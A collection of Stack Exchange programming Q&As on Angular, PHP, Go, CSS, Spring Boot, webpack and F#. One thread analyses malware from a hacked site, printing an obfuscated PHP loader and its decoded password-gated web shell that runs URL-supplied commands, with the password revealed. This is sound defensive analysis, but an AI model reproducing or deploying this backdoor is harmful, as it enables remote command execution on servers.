问:
Angular Material: mat-select not selecting default
I have a mat-select where the options are all objects defined in an array.  I am trying to set the value to default to one of the options, however it is being left selected when the page renders.

My typescript file contains:

```<code>  public options2 = [
    {"id": 1, "name": "a"},
    {"id": 2, "name": "b"}
  ]
  public selected2 = this.options2[1].id;
</code>```

My HTML file contains:

```<code>  <div>
    <mat-select
        [(value)]="selected2">
      <mat-option
          *ngFor="let option of options2"
          value="{{ option.id }}">
        {{ option.name }}
      </mat-option>
    </mat-select>
  </div>
</code>```

I have tried setting selected2 and the value in mat-option to both the object and its id, and have tried using both [(value)] and [(ngModel)] in the mat-select, but none are working.

I am using material version 2.0.0-beta.10

答:
Use a binding for the value in your template.

```<code>value="{{ option.id }}"
</code>```

should be

```<code>[value]="option.id"
</code>```

And in your selected value use ngModel instead of value.

```<code><mat-select [(value)]="selected2">
</code>```

should be

```<code><mat-select [(ngModel)]="selected2">
</code>```

Complete code:

```<code><div>
  <mat-select [(ngModel)]="selected2">
    <mat-option *ngFor="let option of options2" [value]="option.id">{{ option.name }}</mat-option>
  </mat-select>
</div>
</code>```

On a side note as of version 2.0.0-beta.12 the material select now accepts a mat-form-field element as the parent element so it is consistent with the other material input controls. Replace the div element with mat-form-field element after you upgrade.

```<code><mat-form-field>
  <mat-select [(ngModel)]="selected2">
    <mat-option *ngFor="let option of options2" [value]="option.id">{{ option.name }}</mat-option>
  </mat-select>
</mat-form-field>
</code>```

Body:
I have a mat-select where the options are all objects defined in an array.  I am trying to set the value to default to one of the options, however it is being left selected when the page renders.

My typescript file contains:

  public options2 = [
    {"id": 1, "name": "a"},
    {"id": 2, "name": "b"}
  ]
  public selected2 = this.options2[1].id;

My HTML file contains:

    <mat-select
        [(value)]="selected2">
      <mat-option
          *ngFor="let option of options2"
          value="{{ option.id }}">
        {{ option.name }}
      </mat-option>
    </mat-select>

I have tried setting selected2 and the value in mat-option to both the object and its id, and have tried using both [(value)] and [(ngModel)] in the mat-select, but none are working.

I am using material version 2.0.0-beta.10

Body:
Use a binding for the value in your template.

value="{{ option.id }}"

should be

[value]="option.id"

And in your selected value use ngModel instead of value.

<mat-select [(value)]="selected2">

should be

<mat-select [(ngModel)]="selected2">

Complete code:

<div>
  <mat-select [(ngModel)]="selected2">
    <mat-option *ngFor="let option of options2" [value]="option.id">{{ option.name }}</mat-option>
  </mat-select>
</div>

On a side note as of version 2.0.0-beta.12 the material select now accepts a mat-form-field element as the parent element so it is consistent with the other material input controls. Replace the div element with mat-form-field element after you upgrade.

<mat-form-field>
  <mat-select [(ngModel)]="selected2">
    <mat-option *ngFor="let option of options2" [value]="option.id">{{ option.name }}</mat-option>
  </mat-select>
</mat-form-field>


来源: stackexchange

问:
How to create a ZIP file using PHP and delete it after user downloads it?
I need to download images from other websites to my server. Create a ZIP file with those images. automatically start download of created ZIP file. once download is complete the ZIP file and images should be deleted from my server.

Instead of automatic download, a download link is also fine. but other logic remains same.

答:
Other solution: Delete past files before creation new zip file:</p>

```<code>    // Delete past zip files script
    $files = glob('*.zip'); //get all file names in array
    $currentTime = time(); // get current time
    foreach($files as $file){ // get file from array
        $lastModifiedTime = filemtime($file); // get file creation time

        // get how old is file in hours:
        $timeDiff = abs($currentTime - $lastModifiedTime)/(60*60);

        //check if file was modified before 1 hour:
        if(is_file($file) && $timeDiff > 1)
            unlink($file); //delete file
    }
</code>```

ContentLicense: CC BY-SA 3.0

Body:
Other solution: Delete past files before creation new zip file:

    // Delete past zip files script
    $files = glob('*.zip'); //get all file names in array
    $currentTime = time(); // get current time
    foreach($files as $file){ // get file from array
        $lastModifiedTime = filemtime($file); // get file creation time

        // get how old is file in hours:
        $timeDiff = abs($currentTime - $lastModifiedTime)/(60*60);

        //check if file was modified before 1 hour:
        if(is_file($file) && $timeDiff > 1)
            unlink($file); //delete file
    }


问:
HTML Table dynamic height
My problem is that I have several image, SVG and PDF files which I want to display in a dynamic grid. For this I've been using a table like this:

```<code><table width="100%" border="1" cellspacing="0" cellpadding="0">
        <tr>
              <td width="35%">
                  <div class="work">
                        <a href="w1.html">
                            <img src="img/work1.jpg" class="media" alt=""/>
                            <div class="caption">
                                <div class="work_title">
                                    <h1>WORK IMAGE 1</h1>
                                </div>
                            </div>
                        </a>
                    </div>
                </td>
                <td width="35%">
                  <div class="work">
                        <a href="w2.html" height=100%>
                            <img src="img/work2.jpg" class="media" alt=""/>
                            <div class="caption">
                                <div class="work_title">
                                    <h1>WORK IMAGE 2</h1>
                                </div>
                            </div>
                        </a>
                    </div>
                </td>
                <td width="30%" height=100%>
                        <div class="work">
                            <a href="work3.html">
                                <embed src="work3.pdf#toolbar=0&scrollbar=0" width=100% height=100% type='application/pdf'>
                                <div class="caption">
                                    <div class="work_title">
                                        <h1>WORK PDF 3</h1>
                                    </div>
                                </div>
                            </a>
                        </div>
                </td>
        </tr>
    </table>
</code>```

The CSS for this part is like this:

```<code>.main .work{
  display: table;
  width: 100%;
  height: 100%;
  float: right;
  position: relative;
  overflow: hidden;
}
</code>```

The good part is that images automatically scale to their maximum width, and change the table height to the height they reached this way.

However the PDF and SVG files don't even try it. For some reason they are stuck at a 150pt height. When I inspect the elements in the browser, I get the following:

The td (table cell), that contains the PDF or SVG file in an example has the height of 238pt.

Its child is a "work" div, which already has only 153 height, although in the CSS it's clearly stated, that is should be 100%.

I've tried looking a lot of things up, but no luck.

答:
You could do something like this. I split up the images/pdf from the caption but still has the same affect that you wanted with the click.

    table .work {
      display: table;
      width: 100%;
      float: right;
      position: relative;
      overflow: hidden;
      display: table-row;
      height: 100%;
      background-color: #f5f5f5;
    }```
<pre class="snippet-code-html lang-html prettyprint-override"><code><table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td width="35%">
        <div class="work">

            <img src="http://webresizer.com/images2/bird1_before.jpg" width="100%" class="media" alt="" />

        </div>
      </td>
      <td width="35%">
        <div class="work">

            <img src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/91525/potofgold.svg">

        </div>
      </td>
      <td width="30%" height="100%">
        <div class="work">

            <embed src="https://www.computerhope.com/jargon/p/example.pdf#toolbar=0&navpanes=0&scrollbar=0" width="100%" height="100%"
              type='application/pdf'></embed>

        </div>
      </td>
    </tr>
    <tr>
      <td width="35%">
        <div class="work">

            <div class="caption">
              <div class="work_title">
                <h1>WORK IMAGE 1</h1>
              </div>
            </div>

        </div>
      </td>
      <td width="35%">
        <div class="work">

            <div class="caption">
              <div class="work_title">
                <h1>WORK IMAGE 2</h1>
              </div>
            </div>

        </div>
      </td>
      <td width="30%" height="100%">
        <div class="work">

            <div class="caption">
              <div class="work_title">
                <h1>WORK PDF 3</h1>
              </div>
            </div>

        </div>
      </td>
    </tr>
  </table></code>```

Let me know if this helps or if you need more.

Title: HTML Table dynamic height

Body:
My problem is that I have several image, SVG and PDF files which I want to display in a dynamic grid. For this I've been using a table like this:

WORK IMAGE 1

WORK IMAGE 2

                                <embed src="work3.pdf#toolbar=0&scrollbar=0" width=100% height=100% type='application/pdf'>

WORK PDF 3

The CSS for this part is like this:

.main .work{
  display: table;
  width: 100%;
  height: 100%;
  float: right;
  position: relative;
  overflow: hidden;
}

The good part is that images automatically scale to their maximum width, and change the table height to the height they reached this way.

However the PDF and SVG files don't even try it. For some reason they are stuck at a 150pt height. When I inspect the elements in the browser, I get the following:

The td (table cell), that contains the PDF or SVG file in an example has the height of 238pt.

Its child is a "work" div, which already has only 153 height, although in the CSS it's clearly stated, that is should be 100%.

I've tried looking a lot of things up, but no luck.

Body:
You could do something like this. I split up the images/pdf from the caption but still has the same affect that you wanted with the click.

    table .work {
      display: table;
      width: 100%;
      float: right;
      position: relative;
      overflow: hidden;
      display: table-row;
      height: 100%;
      background-color: #f5f5f5;
    }

<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td width="35%">
        <div class="work">
          <a href="w1.html">
            <img src="http://webresizer.com/images2/bird1_before.jpg" width="100%" class="media" alt="" />
          </a>
        </div>
      </td>
      <td width="35%">
        <div class="work">
          <a href="w2.html" height="100%">
            <img src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/91525/potofgold.svg">
          </a>
        </div>
      </td>
      <td width="30%" height="100%">
        <div class="work">
          <a href="work3.html">
            <embed src="https://www.computerhope.com/jargon/p/example.pdf#toolbar=0&navpanes=0&scrollbar=0" width="100%" height="100%"
              type='application/pdf'></embed>
          </a>
        </div>
      </td>
    </tr>
    <tr>
      <td width="35%">
        <div class="work">
          <a href="w1.html">
            <div class="caption">
              <div class="work_title">
                <h1>WORK IMAGE 1</h1>
              </div>
            </div>
          </a>
        </div>
      </td>
      <td width="35%">
        <div class="work">
          <a href="w2.html" height="100%">
            <div class="caption">
              <div class="work_title">
                <h1>WORK IMAGE 2</h1>
              </div>
            </div>
          </a>
        </div>
      </td>
      <td width="30%" height="100%">
        <div class="work">
          <a href="work3.html">
            <div class="caption">
              <div class="work_title">
                <h1>WORK PDF 3</h1>
              </div>
            </div>
          </a>
        </div>
      </td>
    </tr>
  </table>

Let me know if this helps or if you need more.


问:
How to call function from another file in Go
I want to call function from another file in Go. Can any one help?

test1.go

```<code>package main

func main() {
    demo()
}
</code>```

test2.go

```<code>package main

import "fmt"

func main() {
}

func demo() {
    fmt.Println("HI")
}
</code>```

How to call demo in test2 from test1?

答:
I was looking for the same thing.  To answer your question "How to call demo in test2 from test1?", here is the way I did it.  Run this code with go run test1.go command.  Change the current_folder to folder where test1.go is.

test1.go

```<code>package main

import (
    L "./lib"
)

func main() {
    L.Demo()
}
</code>```

lib\test2.go

Put test2.go file in subfolder lib

```<code>package lib

import "fmt"

// This func must be Exported, Capitalized, and comment added.
func Demo() {
    fmt.Println("HI")
}
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I want to call function from another file in Go. Can any one help?

test1.go

package main

func main() {
    demo()
}

test2.go

package main

import "fmt"

func main() {
}

func demo() {
    fmt.Println("HI")
}

How to call demo in test2 from test1?

Body:
I was looking for the same thing.  To answer your question "How to call demo in test2 from test1?", here is the way I did it.  Run this code with go run test1.go command.  Change the current_folder to folder where test1.go is.

test1.go

package main

import (
    L "./lib"
)

func main() {
    L.Demo()
}

lib\test2.go

Put test2.go file in subfolder lib

package lib

import "fmt"

// This func must be Exported, Capitalized, and comment added.
func Demo() {
    fmt.Println("HI")
}


问:
max-height set to child's height
I have a wrapper div and a very tall child in it. The wrapper have resize: vertical; so you can extend it.

I want resize: vertical to work unless the height of the child is bigger than wrapper. So I need to prohibit extending wrapper adding redundant space.

Is there a pure CSS solution of this problem? It is not a restriction ofcourse.

I guess this can be achieved via max-height property in wrapper. But what value shoud I write there?

In the example below you can extend the wrapper with no limitations.

html, body {
  padding: 0;margin:0;border:0;
  height: 1000px;
  background: rgba(0,0,0,0.05);
}

.wrapper {
  background: red;
  width: 400px;
  height: 200px;
  max-height: 100%; /* What should be here? */
  resize: vertical;
  overflow: auto;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="wrapper">
  <div class="child">
    <p>Garpike. Roosterfish bigmouth buffalo sand lance redside lyretail scissor-tail rasbora riffle dace. Mosquitofish golden dojo chub: pineconefish; squawfish hillstream loach, neon tetra tommy ruff clownfish, zebra lionfish snipe eel. Hamlet, "smalleye squaretail perch wolf-eel, snailfish velvet-belly shark Black tetra cherry salmon collared dogfish." Upside-down catfish sweeper wels catfish driftwood catfish nurse shark Arctic char yellowhead jawfish crucian carp, mojarra Sacramento splittail thornyhead antenna codlet banded killifish. Bamboo shark porcupinefish threadfin bream, largemouth bass. Channel bass slender mola plownose chimaera, catalufa paradise fish African glass catfish weasel shark clingfish wolf-eel scissor-tail rasbora Blobfish? Barb, tonguefish featherfin knifefish.</p>
  </div>
</div></code>```

答: What about setting the max-height to the parent element and then, in your element max-height: inherit; - that should work.

Title: max-height set to child's height

Body:
I have a wrapper div and a very tall child in it. The wrapper have resize: vertical; so you can extend it.

I want resize: vertical to work unless the height of the child is bigger than wrapper. So I need to prohibit extending wrapper adding redundant space.

Is there a pure CSS solution of this problem? It is not a restriction ofcourse.

I guess this can be achieved via max-height property in wrapper. But what value shoud I write there?

In the example below you can extend the wrapper with no limitations.

html, body {
  padding: 0;margin:0;border:0;
  height: 1000px;
  background: rgba(0,0,0,0.05);
}

.wrapper {
  background: red;
  width: 400px;
  height: 200px;
  max-height: 100%; /* What should be here? */
  resize: vertical;
  overflow: auto;
}

Garpike. Roosterfish bigmouth buffalo sand lance redside lyretail scissor-tail rasbora riffle dace. Mosquitofish golden dojo chub: pineconefish; squawfish hillstream loach, neon tetra tommy ruff clownfish, zebra lionfish snipe eel. Hamlet, "smalleye squaretail perch wolf-eel, snailfish velvet-belly shark Black tetra cherry salmon collared dogfish." Upside-down catfish sweeper wels catfish driftwood catfish nurse shark Arctic char yellowhead jawfish crucian carp, mojarra Sacramento splittail thornyhead antenna codlet banded killifish. Bamboo shark porcupinefish threadfin bream, largemouth bass. Channel bass slender mola plownose chimaera, catalufa paradise fish African glass catfish weasel shark clingfish wolf-eel scissor-tail rasbora Blobfish? Barb, tonguefish featherfin knifefish.


问:
Spring Boot: Change Port for Web Application
I am currently trying to create a web application with Spring Boot. I need to host my application to localhost:8081. How do I change the port? </p>

答:
In your application.properties file, just add one line

```<code>server.port = 8080
</code>```

And for more configurations you can refer Spring Boot documentation on port

Body:
In your application.properties file, just add one line

server.port = 8080

And for more configurations you can refer Spring Boot documentation on port


问:
Online Perforce Repositories
Is anyone aware of of anybody offering hosted perforce servers?
It doesn't have to be free - but preferably not too expensive!

My understanding of Perforce is that it's free to use for personal projects, which mine is. Currently I have a perforce server setup on the same machine as the code is on which doesn't offer much security in case of computer failure.

If not, can anyone recommend one of the alternative solutions that is similar to Perforce? I have experience of SVN but cannot say I enjoy the experience.

答:
A would love to pay for a Perforce on a reasonable subscription basis, too. Had no luck to find any such provider, too. I think it would be a good way for Perforce to promote their tool. $740 is just to steep to lure in people. Sad to see, as I still consider it the best cvs out there (in terms of having control and getting work done).

I also have (for a personal project) a locally installed Perforce.

As for file security:
Well, back up the entire Perforce Folder and whereever P4ROOT resides (normally in that folder) on a regular basis. Shut down the Perforce service before you do, fire up afterwards. On Windows, I found Cobian backup to be a great tool, to do all that in combination. I am not sure, if Perforce would be ok with "on the fly" backup, I am just not taking the risk.

Such regular full backups should be considered mandatory, even if your Server resided in Fort Knox. After all, there is hard disk failure but also the possibiity that your perforce structure gets corrupted. Although I can't tell of a single such incident with Perforce.

ContentLicense: CC BY-SA 2.5

Title: Online Perforce Repositories


问:
How can I call bind on a computation expression without the let keyword?
Say I have this:

```<code>MyComputationExpression {
    let! addr = Salesrecord.Address
    let! name = Salesrecord.Name
    return (name + " " + addr)
}
</code>```

Is there any way to "unwrap" (call the bind method on) the address and name on the fly? Sort of like:

```<code>MyComputationExpression {
    (Salesrecord.Name! + " " + Salesrecord.Address!)
}
</code>```

(If ! was the operator for unwrap on the fly). It seems a bit verbose to have to declare a new variable every time I want to use the result of bind just once.

答:
Bind and Return methods are available on MyComputationExpression. Your original code is converted to this equivalent code:

```<code>MyComputationExpression.Bind(
    Salesrecord.Address,
    fun addr -> MyComputationExpression.Bind(
        Salesrecord.Name,
        fun name -> async.Return (name + " " + addr)))
</code>```

This is quite ugly code, which is why computation expressions exist as a language feature. Being able to use them inline in the way that you want is currently not possible. It would be an additional language feature and it has been suggested before.

Body:
Say I have this:

MyComputationExpression {
    let! addr = Salesrecord.Address
    let! name = Salesrecord.Name
    return (name + " " + addr)
}

Is there any way to "unwrap" (call the bind method on) the address and name on the fly? Sort of like:

MyComputationExpression {
    (Salesrecord.Name! + " " + Salesrecord.Address!)
}

(If ! was the operator for unwrap on the fly). It seems a bit verbose to have to declare a new variable every time I want to use the result of bind just once.

Body:
Bind and Return methods are available on MyComputationExpression. Your original code is converted to this equivalent code:

MyComputationExpression.Bind(
    Salesrecord.Address,
    fun addr -> MyComputationExpression.Bind(
        Salesrecord.Name,
        fun name -> async.Return (name + " " + addr)))

This is quite ugly code, which is why computation expressions exist as a language feature. Being able to use them inline in the way that you want is currently not possible. It would be an additional language feature and it has been suggested before.


问:
Create CommonsChunk - include items from async chunks
How can I create a commons chunk with anything from node_modules that's used anywhere, including async chunks (things loaded with System.import).

What I have is this

```<code>new webpack.optimize.CommonsChunkPlugin({
    name: 'all-node',
    filename: 'all-node.js',
    minChunks(module, count) {
        var context = module.context;
        return context && context.indexOf('node_modules') >= 0;
    },
}),
</code>```

this works perfectly, but it only includes items from node_modules that are used in my entry chunk. How do I get it to also include things from node_modules that are used in any of my code split modules (things loaded from System.import) - ideally without listing them all out, manually, by name?

(this is a simplification of my real use case)

答:
I know this is an older post, but I came across it while trying to resolve the issue I was having. I added deepChildren: true and I saw the results I was looking for.</p>

```<code>new webpack.optimize.CommonsChunkPlugin({
    name: 'NAME_OF_ENTRY_BUNDLE',
    children: true,
    async: 'NEW_COMMON_CHUNK_NAME',
    minChunks(module, count) {
        return count >= 2;
    },
    deepChildren: true
}),
</code>```

Body:
How can I create a commons chunk with anything from node_modules that's used anywhere, including async chunks (things loaded with System.import).

What I have is this

new webpack.optimize.CommonsChunkPlugin({
    name: 'all-node',
    filename: 'all-node.js',
    minChunks(module, count) {
        var context = module.context;
        return context && context.indexOf('node_modules') >= 0;
    },
}),

this works perfectly, but it only includes items from node_modules that are used in my entry chunk. How do I get it to also include things from node_modules that are used in any of my code split modules (things loaded from System.import) - ideally without listing them all out, manually, by name?

(this is a simplification of my real use case)

Body:
I know this is an older post, but I came across it while trying to resolve the issue I was having. I added deepChildren: true and I saw the results I was looking for.

new webpack.optimize.CommonsChunkPlugin({
    name: 'NAME_OF_ENTRY_BUNDLE',
    children: true,
    async: 'NEW_COMMON_CHUNK_NAME',
    minChunks(module, count) {
        return count >= 2;
    },
    deepChildren: true
}),


问:
What is the vulnerability in my PHP code?
A website of mine was recently hacked.  Although the actual website remain unchanged, they were somehow able to use the domain to create a link that re-directed to an ebay phishing scam.

I've taken the website down, for obvious reasons, so I can't link to the code.  I'm wondering how I can go about finding out what vulnerability they used so that I can avoid this problem in the future.  The page used PHP, and also some javascript (for form validation).

Is there a free service that will scan my code for vulnerabilities?  What are my other options?

Thanks,
Jeff

EDIT:  I've hosted the files at [link removed]

A few things to note:  There are several files in the "funcs" folder, most of which aren't used, but I left them there just in case.  The "new.php" (contents below) in the "data" folder is clearly the problem.  The big question is, how did someone manage to upload "new.php" to the server?  There's also an RTF of the e-mail I received which has info about the scam.

(caution: this code is probably "dangerous" to your computer)

```<code>    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>
</code>```

答:
Interesting stuff going on here.  The php block evaluates to a nice little "code generator":

```<code>
$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72);
$e72v71a16l_p83h32p_c95o53d9e47='';

for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++)
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m]) ^ $k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53);

eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?");
</code>```

When the nasty variable names are substituted for something more readable, you get:

```<code>
$Coefficient=70;

$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";

$TargetString=$InitialString;

$CntLimit=strlen($TargetString);

$Output='';

for($i=0;$i<$CntLimit;$i++)
$Output .= chr(ord($TargetString[$i]) ^ $Coefficient);

eval("?>".$Output."<?");
</code>```

which, when evaluated, spits out the code:

```<code>
<?php
if ((isset($_GET[pass]))&(md5($_GET[pass])==
       '417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c])))
{
 echo '```';
 passthru(stripslashes($_GET[c]));
 include($_GET[c]);
 die('```');
}
?>
</code>```

Of note, the string: '417379a25e41bd0ac88f87dc3d029485' is the md5 hash of the password: Zrhenjq2009

I'll kick this around some more tomorrow.

Edit:

Ok, so I spent a few more minutes playing with this.  It's looking like a remote control script.  So now that this page (new.php) is sitting on your server, If a user hits this page and passes a url parameter named 'pass' with a value of 'Zrhenjq2009', they are then able to execute an external command on the server by passing the command and arguments in the url as the parameter named 'c'.  So this is turning out to be a code generator which creates a backdoor on the server.  Pretty cool.

I pulled down the file you uploaded and ran new.php through VirusTotal.com and it appears to be an new (or substantially modified) trojan.  Additionally, it appears that 51.php is the PHPSpy trojan: VirusTotal analysis, 74.php is the PHP.Shellbot trojan VirusTotal Analysis and func.php is "webshell by orb".  Looks like someone dropped a nice hack kit on your server along with the ebay phishing scripts/pages referenced in the document you uploaded.

You should probably remove the file download link in your original post.

If you get your hands on the logs, might be interesting to take a look.

Enjoy.

Body:
A website of mine was recently hacked.  Although the actual website remain unchanged, they were somehow able to use the domain to create a link that re-directed to an ebay phishing scam.

I've taken the website down, for obvious reasons, so I can't link to the code.  I'm wondering how I can go about finding out what vulnerability they used so that I can avoid this problem in the future.  The page used PHP, and also some javascript (for form validation).

Is there a free service that will scan my code for vulnerabilities?  What are my other options?

Thanks,
Jeff

EDIT:  I've hosted the files at [link removed]

A few things to note:  There are several files in the "funcs" folder, most of which aren't used, but I left them there just in case.  The "new.php" (contents below) in the "data" folder is clearly the problem.  The big question is, how did someone manage to upload "new.php" to the server?  There's also an RTF of the e-mail I received which has info about the scam.

(caution: this code is probably "dangerous" to your computer)

    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>

Body:
Interesting stuff going on here.  The php block evaluates to a nice little "code generator":

$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72);
$e72v71a16l_p83h32p_c95o53d9e47='';

for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++)
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m]) ^ $k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53);

eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?");

When the nasty variable names are substituted for something more readable, you get:

$Coefficient=70;

$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";

$TargetString=$InitialString;

$CntLimit=strlen($TargetString);

$Output='';

for($i=0;$i<$CntLimit;$i++)
$Output .= chr(ord($TargetString[$i]) ^ $Coefficient);

eval("?>".$Output."<?");

which, when evaluated, spits out the code:

<?php
if ((isset($_GET[pass]))&(md5($_GET[pass])==
       '417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c])))
{
 echo '<pre>';
 passthru(stripslashes($_GET[c]));
 include($_GET[c]);
 die('</pre>');
}
?>

Of note, the string: '417379a25e41bd0ac88f87dc3d029485' is the md5 hash of the password: Zrhenjq2009

I'll kick this around some more tomorrow.

Edit:

Ok, so I spent a few more minutes playing with this.  It's looking like a remote control script.  So now that this page (new.php) is sitting on your server, If a user hits this page and passes a url parameter named 'pass' with a value of 'Zrhenjq2009', they are then able to execute an external command on the server by passing the command and arguments in the url as the parameter named 'c'.  So this is turning out to be a code generator which creates a backdoor on the server.  Pretty cool.

I pulled down the file you uploaded and ran new.php through VirusTotal.com and it appears to be an new (or substantially modified) trojan.  Additionally, it appears that 51.php is the PHPSpy trojan: VirusTotal analysis, 74.php is the PHP.Shellbot trojan VirusTotal Analysis and func.php is "webshell by orb".  Looks like someone dropped a nice hack kit on your server along with the ebay phishing scripts/pages referenced in the document you uploaded.

You should probably remove the file download link in your original post.

If you get your hands on the logs, might be interesting to take a look.

Enjoy.


问:
Deserializing json in Angular 2/4 using HttpClientModule
So I'm getting the following JSON structure from my asp.net core api:

```<code>{
  "contentType": null,
  "serializerSettings": null,
  "statusCode": null,
  "value": {
     "productName": "Test",
     "shortDescription": "Test 123",
     "imageUri": "https://bla.com/bla",
     "productCode": null,
     "continuationToken": null
  }
}
</code>```

I have the following typescript function that invokes the API to get the above response:

```<code>public externalProduct: ProductVM;

getProductExternal(code: string): Observable<ProductVM> {
    return this.http.get("api/product?productCode=" + code)
        .map((data: ProductVM) => {
            this.externalProduct = data; //not working...
            console.log("DATA: " + data);
            console.log("DATA: " + data['value']);
            return data;
        });
}
</code>```

ProductVM:

```<code>export interface ProductVM {

    productName: string;
    shortDescription: string;
    imageUri: string;
    productCode: string;
    continuationToken: string;
}
</code>```

My problem is that I can't deserialize it to ProductVM. The console logs just produce [object Object]

How can I actually map the contents of the value in my json response to a ProductVM object?

Is it wrong to say that data is a ProductVM in the map function? I have tried lots of different combinations but I cannot get it to work!

I'm unsure whether I can somehow automatically tell angular to map the value array in the json response to a ProductVM object or if I should provide a constructor to the ProductVM class (it's an interface right now), and extract the specific values in the json manually?

答:
The data object in the map method chained to http is considered a Object typed object. This type does not have the value member that you need to access and therefore, the type checker is not happy with it.

Objects that are typed (that are not any) can only be assigned to untyped objects or objects of the exact same type. Here, your data is of type Object and cannot be assigned to another object of type ProductVM.

One solution to bypass type checking is to cast your data object to a any untyped object. This will allow access to any method or member just like plain old Javascript.

```<code>getProductExternal(code: string): Observable<ProductVM> {
  return this.http.get("api/product?productCode=" + code)
    .map((data: any) => this.externalProduct = data.value);
}
</code>```

